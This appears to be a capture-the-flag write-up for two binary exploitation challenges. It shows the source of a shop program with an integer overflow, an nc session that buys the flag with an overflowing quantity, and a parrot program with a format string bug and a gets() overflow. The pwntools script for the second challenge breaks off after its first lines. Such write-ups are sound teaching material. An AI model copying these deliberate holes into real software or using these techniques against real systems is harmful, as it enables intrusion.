printf(" Welcome to the FLAG SHOP!!!\n"); printf("===================================================\n\n"); int money = 100; int price[4] = {0, 25, 20, 123456789}; int own[4] = {}; int option = 0; longlong num = 0; while(1){ printf("Which one would you like? (enter the serial number)\n"); printf("1. Coffee\n"); printf("2. Tea\n"); printf("3. Flag\n> ");
scanf("%d", &option); if (option < 1 || option > 3){ printf("invalid option\n"); continue; } printf("How many do you need?\n> "); scanf("%lld", &num); if (num < 1){ printf("invalid number\n"); continue; }
if (money < price[option]*(int)num){ printf("You only have %d, ", money); printf("But it cost %d * %d = %d\n", price[option], (int)num, price[option]*(int)num); continue; }
It’s obvious that the way “num” is handled leads to an integer overflow, so we can simply provide a sufficiently large number to trigger it.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
❯ nc chal.ctf.scint.org 10101 Welcome to the FLAG SHOP!!! ===================================================
Which one would you like? (enter the serial number) 1. Coffee 2. Tea 3. Flag > 1 How many do you need? > 100000000 Which one would you like? (enter the serial number) 1. Coffee 2. Tea 3. Flag > 3 How many do you need? > 1 THJCC{W0w_U_R_G0oD_at_SHoPplng}
voidwin(){ printf("\nYou win!\n"); printf("Here is your flag: flag{fake_flag}"); fflush(stdout); }
intparrot(){ char buf[0x100]; printf("I'm a little parrot, and I'll repeat whatever you said!(or exit)\n> "); while(1){ fflush(stdout); fgets(buf, sizeof(buf), stdin);
if (!strcmp(buf, "exit\n")){ break; }
printf("You said > "); printf(buf); printf("> "); fflush(stdout); } }
intmain(){ parrot();
char buf[0x30]; printf("anything left to say?\n> "); fflush(stdout); getchar(); gets(buf); printf("You said > %s", buf); fflush(stdout); return0; }
Solution
It is easy to tell that the “parrot” function contains a format string vulnerability, and we are able to leak its return address, then calculate the memory address of the “win” function ourselves.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
from pwn import * r = remote("chal.ctf.scint.org", 10103)